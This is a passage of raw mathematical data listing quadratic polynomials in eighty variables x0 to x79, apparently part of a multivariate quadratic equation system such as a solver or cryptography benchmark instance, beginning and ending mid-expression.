x26*x78 + x26 + x27*x28 + x27*x31 + x27*x33 + x27*x36 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x45 + x27*x47 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x60 + x27*x61 + x27*x63 + x27*x64 + x27*x67 + x27*x73 + x27*x75 + x27 + x28*x30 + x28*x31 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x66 + x28*x68 + x28*x71 + x28*x73 + x28*x74 + x28*x77 + x28 + x29*x31 + x29*x33 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x48 + x29*x49 + x29*x51 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x71 + x29*x73 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x38 + x30*x40 + x30*x42 + x30*x46 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x63 + x30*x66 + x30*x67 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x31*x33 + x31*x34 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x48 + x31*x49 + x31*x52 + x31*x56 + x31*x63 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x73 + x31*x76 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x39 + x32*x41 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x48 + x32*x53 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x72 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x40 + x33*x41 + x33*x42 + x33*x45 + x33*x48 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x60 + x33*x63 + x33*x67 + x33*x74 + x33*x75 + x33*x77 + x33*x79 + x34*x35 + x34*x37 + x34*x41 + x34*x42 + x34*x51 + x34*x52 + x34*x54 + x34*x55 + x34*x60 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x77 + x34*x78 + x34*x79 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x65 + x35*x69 + x35*x70 + x35*x73 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x41 + x36*x43 + x36*x45 + x36*x46 + x36*x48 + x36*x51 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x62 + x36*x63 + x36*x64 + x36*x67 + x36*x68 + x36*x70 + x36*x72 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x57 + x37*x59 + x37*x61 + x37*x64 + x37*x67 + x37*x69 + x37*x71 + x37*x73 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x46 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x60 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x72 + x38*x73 + x38*x74 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x51 + x39*x54 + x39*x55 + x39*x58 + x39*x60 + x39*x62 + x39*x63 + x39*x70 + x39*x73 + x39*x74 + x39*x76 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x53 + x40*x55 + x40*x57 + x40*x59 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x48 + x41*x51 + x41*x53 + x41*x56 + x41*x58 + x41*x63 + x41*x64 + x41*x66 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x44 + x42*x45 + x42*x48 + x42*x51 + x42*x53 + x42*x54 + x42*x57 + x42*x59 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x79 + x42 + x43*x46 + x43*x51 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x69 + x43*x70 + x43*x74 + x43*x75 + x43*x77 + x43 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x51 + x44*x53 + x44*x54 + x44*x56 + x44*x60 + x44*x63 + x44*x64 + x44*x67 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x55 + x45*x57 + x45*x60 + x45*x61 + x45*x63 + x45*x66 + x45*x68 + x45*x69 + x45*x71 + x45*x73 + x45*x74 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x71 + x46*x72 + x46*x74 + x46*x77 + x46*x79 + x47*x48 + x47*x53 + x47*x54 + x47*x56 + x47*x60 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x71 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x73 + x48*x75 + x48*x76 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x58 + x49*x59 + x49*x61 + x49*x62 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x49*x77 + x49 + x50*x51 + x50*x52 + x50*x57 + x50*x59 + x50*x60 + x50*x66 + x50*x67 + x50*x71 + x50*x73 + x50*x76 + x50 + x51*x57 + x51*x59 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x70 + x51*x71 + x51*x73 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x59 + x52*x60 + x52*x61 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x74 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x58 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x66 + x53*x73 + x53*x75 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x68 + x54*x71 + x54*x77 + x55*x57 + x55*x61 + x55*x62 + x55*x64 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x76 + x55*x79 + x56*x59 + x56*x60 + x56*x61 + x56*x63 + x56*x67 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x61 + x57*x64 + x57*x67 + x57*x68 + x57*x72 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x68 + x58*x73 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x59*x61 + x59*x63 + x59*x64 + x59*x65 + x59*x70 + x59*x72 + x59*x74 + x59*x77 + x59*x78 + x60*x63 + x60*x67 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x76 + x62*x77 + x62 + x63*x64 + x63*x68 + x63*x71 + x63*x74 + x63*x75 + x63*x76 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x70 + x65*x71 + x65*x73 + x65*x76 + x65*x79 + x66*x73 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67*x79 + x68*x69 + x68*x73 + x68*x74 + x68*x79 + x69*x71 + x69*x72 + x69*x78 + x69*x79 + x69 + x70*x72 + x70*x79 + x70 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x78 + x73*x79 + x74 + x75*x76 + x75*x77 + x75*x79 + x75 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x78 + x79 + 1, x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x30 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x39 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x53 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x61 + x0*x62 + x0*x64 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0*x79 + x1*x3 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x13 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x29 + x1*x30 + x1*x31 + x1*x39 + x1*x40 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x56 + x1*x58 + x1*x59 + x1*x61 + x1*x64 + x1*x65 + x1*x69 + x1*x70 + x1*x73 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x2*x3 + x2*x4 + x2*x9 + x2*x12 + x2*x15 + x2*x16 + x2*x18 + x2*x20 + x2*x22 + x2*x23 + x2*x25 + x2*x33 + x2*x34 + x2*x36 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x50 + x2*x51 + x2*x53 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x66 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x3*x5 + x3*x6 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x23 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x11 + x4*x13 + x4*x14 + x4*x19 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x32 + x4*x35 + x4*x38 + x4*x40 + x4*x48 + x4*x49 + x4*x50 + x4*x53 + x4*x54 + x4*x56 + x4*x57 + x4*x59 + x4*x60 + x4*x70 + x4*x71 + x4*x73 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x10 + x5*x12 + x5*x13 + x5*x16 + x5*x17 + x5*x22 + x5*x25 + x5*x26 + x5*x27 + x5*x29 + x5*x31 + x5*x33 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x50 + x5*x51 + x5*x52 + x5*x55 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x63 + x5*x65 + x5*x66 + x5*x68 + x5*x73 + x5*x75 + x5*x78 + x6*x8 + x6*x10 + x6*x11 + x6*x12 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x27 + x6*x31 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x44 + x6*x47 + x6*x48 + x6*x50 + x6*x51 + x6*x52 + x6*x54 + x6*x56 + x6*x57 + x6*x63 + x6*x64 + x6*x66 + x6*x67 + x6*x73 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x12 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x20 + x7*x21 + x7*x25 + x7*x26 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x34 + x7*x36 + x7*x39 + x7*x41 + x7*x42 + x7*x45 + x7*x46 + x7*x47 + x7*x50 + x7*x51 + x7*x57 + x7*x59 + x7*x62 + x7*x63 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x78 + x7*x79 + x8*x12 + x8*x14 + x8*x20 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x39 + x8*x41 + x8*x42 + x8*x44 + x8*x47 + x8*x49 + x8*x50 + x8*x51 + x8*x53 + x8*x57 + x8*x59 + x8*x61 + x8*x64 + x8*x65 + x8*x69 + x8*x70 + x8*x71 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x11 + x9*x15 + x9*x16 + x9*x18 + x9*x19 + x9*x20 + x9*x22 + x9*x25 + x9*x28 + x9*x31 + x9*x32 + x9*x33 + x9*x35 + x9*x42 + x9*x43 + x9*x44 + x9*x58 + x9*x60 + x9*x63 + x9*x66 + x9*x68 + x9*x70 + x9*x72 + x9*x77 + x9*x78 + x10*x13 + x10*x15 + x10*x17 + x10*x19 + x10*x22 + x10*x23 + x10*x24 + x10*x27 + x10*x32 + x10*x33 + x10*x34 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x53 + x10*x56 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x72 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x23 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x42 + x11*x47 + x11*x49 + x11*x50 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x62 + x11*x64 + x11*x67 + x11*x68 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x78 + x11*x79 + x12*x17 + x12*x19 + x12*x24 + x12*x26 + x12*x28 + x12*x31 + x12*x34 + x12*x35 + x12*x36 + x12*x41 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x49 + x12*x55 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x66 + x12*x67 + x12*x69 + x12*x71 + x12*x74 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x20 + x13*x22 + x13*x25 + x13*x26 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x34 + x13*x39 + x13*x41 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x48 + x13*x49 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x63 + x13*x66 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x75 + x13*x76 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x21 + x14*x22 + x14*x24 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x32 + x14*x34 + x14*x35 + x14*x36 + x14*x40 + x14*x41 + x14*x43 + x14*x45 + x14*x46 + x14*x49 + x14*x51 + x14*x52 + x14*x53 + x14*x56 + x14*x57 + x14*x58 + x14*x63 + x14*x64 + x14*x65 + x14*x68 + x14*x69 + x14*x72 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x18 + x15*x19 + x15*x20 + x15*x21 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x35 + x15*x41 + x15*x42 + x15*x43 + x15*x49 + x15*x51 + x15*x57 + x15*x61 + x15*x62 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x74 + x15*x76 + x16*x17 + x16*x23 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x35 + x16*x36 + x16*x37 + x16*x39 + x16*x42 + x16*x43 + x16*x45 + x16*x46 + x16*x49 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x56 + x16*x58 + x16*x59 + x16*x62 + x16*x65 + x16*x67 + x16*x70 + x16*x71 + x16*x73 + x16*x75 + x16 + x17*x19 + x17*x23 + x17*x24 + x17*x29 + x17*x32 + x17*x33 + x17*x35 + x17*x36 + x17*x38 + x17*x41 + x17*x42 + x17*x52 + x17*x53 + x17*x54 + x17*x56 + x17*x57 + x17*x59 + x17*x63 + x17*x65 + x17*x67 + x17*x68 + x17*x69 + x17*x73 + x17*x74 + x17*x75 + x17*x76 + x17*x78 + x17*x79 + x17 + x18*x19 + x18*x21 + x18*x23 + x18*x24 + x18*x26 + x18*x27 + x18*x29 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x38 + x18*x39 + x18*x43 + x18*x44 + x18*x50 + x18*x51 + x18*x53 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x61 + x18*x64 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x78 + x18*x79 + x18 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x40 + x19*x42 + x19*x43 + x19*x47 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x59 + x19*x60 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x71 + x19*x75 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x23 + x20*x26 + x20*x33 + x20*x36 + x20*x38 + x20*x39 + x20*x46 + x20*x48 + x20*x49 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x64 + x20*x68 + x20*x74 + x20*x75 + x20*x76 + x20*x77 + x20 + x21*x22 + x21*x23 + x21*x25 + x21*x26 + x21*x30 + x21*x31 + x21*x32 + x21*x36 + x21*x39 + x21*x44 + x21*x57 + x21*x60 + x21*x64 + x21*x65 + x21*x67 + x21*x69 + x21*x71 + x21*x75 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x49 + x22*x50 + x22*x51 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x61 + x22*x66 + x22*x67 + x22*x68 + x22*x75 + x22*x76 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x35 + x23*x40 + x23*x43 + x23*x46 + x23*x47 + x23*x48 + x23*x51 + x23*x54 + x23*x59 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x75 + x23*x77 + x23*x79 + x24*x25 + x24*x29 + x24*x31 + x24*x33 + x24*x34 + x24*x39 + x24*x40 + x24*x41 + x24*x45 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x63 + x24*x64 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x70 + x24*x72 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x25*x27 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x44 + x25*x47 + x25*x50 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x58 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x70 + x25*x73 + x25*x75 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x32 + x26*x35 + x26*x36 + x26*x37 + x26*x41 + x26*x42 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x60 + x26*x61 + x26*x64 + x26*x65 + x26*x66 + x26*x69 + x26*x70 + x26*x71 + x26*x73 + x26*x74 + x26*x76 + x26*x78 + x26*x79 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x40 + x27*x42 + x27*x45 + x27*x48 + x27*x50 + x27*x53 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x61 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x79 + x28*x31 + x28*x32 + x28*x33 + x28*x36 + x28*x40 + x28*x41 + x28*x43 + x28*x44 + x28*x45 + x28*x46 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x55 + x28*x57 + x28*x59 + x28*x60 + x28*x61 + x28*x65 + x28*x67 + x28*x68 + x28*x71 + x28*x76 + x28*x77 + x28*x78 + x29*x30 + x29*x31 + x29*x33 + x29*x34 + x29*x35 + x29*x37 + x29*x39 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x53 + x29*x55 + x29*x56 + x29*x59 + x29*x60 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x69 + x29*x70 + x29*x72 + x29*x74 + x29*x76 + x29*x78 + x29*x79 + x30*x33 + x30*x34 + x30*x37 + x30*x39 + x30*x43 + x30*x44 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x55 + x30*x57 + x30*x58 + x30*x60 + x30*x63 + x30*x64 + x30*x67 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x36 + x31*x37 + x31*x42 + x31*x47 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x58 + x31*x60 + x31*x61 + x31*x64 + x31*x67 + x31*x69 + x31*x72 + x31*x73 + x32*x33 + x32*x37 + x32*x41 + x32*x42 + x32*x44 + x32*x47 + x32*x48 + x32*x52 + x32*x53 + x32*x58 + x32*x59 + x32*x60 + x32*x66 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x76 + x32*x77 + x32*x78 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x43 + x33*x45 + x33*x49 + x33*x50 + x33*x53 + x33*x54 + x33*x55 + x33*x57 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x71 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x34*x35 + x34*x36 + x34*x39 + x34*x40 + x34*x43 + x34*x45 + x34*x46 + x34*x49 + x34*x50 + x34*x52 + x34*x54 + x34*x57 + x34*x59 + x34*x62 + x34*x64 + x34*x67 + x34*x69 + x34*x70 + x34*x72 + x34*x73 + x34*x74 + x34*x77 + x34 + x35*x37 + x35*x38 + x35*x41 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x47 + x35*x52 + x35*x54 + x35*x55 + x35*x56 + x35*x60 + x35*x65 + x35*x68 + x35*x69 + x35*x75 + x35*x76 + x35*x77 + x36*x37 + x36*x40 + x36*x41 + x36*x44 + x36*x45 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x62 + x36*x66 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x37*x41 + x37*x42 + x37*x43 + x37*x46 + x37*x51 + x37*x53 + x37*x57 + x37*x58 + x37*x60 + x37*x63 + x37*x67 + x37*x69 + x37*x70 + x37*x72 + x37*x73 + x37*x75 + x37*x76 + x37*x77 + x37*x79 + x38*x39 + x38*x43 + x38*x45 + x38*x50 + x38*x52 + x38*x54 + x38*x56 + x38*x59 + x38*x60 + x38*x63 + x38*x64 + x38*x66 + x38*x71 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x39*x42 + x39*x43 + x39*x48 + x39*x51 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x63 + x39*x66 + x39*x68 + x39*x70 + x39*x71 + x39*x74 + x39*x76 + x40*x41 + x40*x42 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x71 + x40*x74 + x40*x75 + x40*x78 + x41*x42 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x54 + x41*x56 + x41*x59 + x41*x64 + x41*x66 + x41*x67 + x41*x71 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x42*x43 + x42*x44 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x55 + x42*x62 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x79 + x43*x44 + x43*x45 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x55 + x43*x57 + x43*x59 + x43*x61 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x48 + x44*x50 + x44*x51 + x44*x52 + x44*x57 + x44*x59 + x44*x60 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x68 + x44*x72 + x44*x77 + x44*x78 + x45*x46 + x45*x47 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x59 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x72 + x45*x73 + x45*x74 + x45 + x46*x47 + x46*x48 + x46*x50 + x46*x52 + x46*x53 + x46*x54 + x46*x57 + x46*x58 + x46*x61 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x75 + x46*x76 + x46*x79 + x47*x48 + x47*x50 + x47*x55 + x47*x58 + x47*x62 + x47*x63 + x47*x64 + x47*x67 + x47*x68 + x47*x69 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x55 + x48*x56 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x65 + x48*x66 + x48*x68 + x48*x70 + x48*x72 + x48*x74 + x48*x75 + x48*x77 + x48*x79 + x49*x52 + x49*x53 + x49*x54 + x49*x56 + x49*x58 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x71 + x49 + x50*x53 + x50*x55 + x50*x56 + x50*x58 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x70 + x50*x73 + x50*x75 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x62 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x74 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x52*x54 + x52*x55 + x52*x57 + x52*x59 + x52*x60 + x52*x61 + x52*x63 + x52*x65 + x52*x70 + x52*x71 + x52*x73 + x52*x78 + x52*x79 + x53*x57 + x53*x61 + x53*x65 + x53*x66 + x53*x67 + x53*x70 + x53*x72 + x53*x74 + x53*x76 + x53*x77 + x53*x78 + x53*x79 + x53 + x54*x58 + x54*x60 + x54*x62 + x54*x66 + x54*x67 + x54*x68 + x54*x69 + x54*x71 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x65 + x56*x68 + x56*x70 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x67 + x57*x71 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x63 + x58*x66 + x58*x68 + x58*x69 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x59*x61 + x59*x62 + x59*x63 + x59*x65 + x59*x66 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x73 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x63 + x60*x64 + x60*x68 + x60*x69 + x60*x71 + x60*x73 + 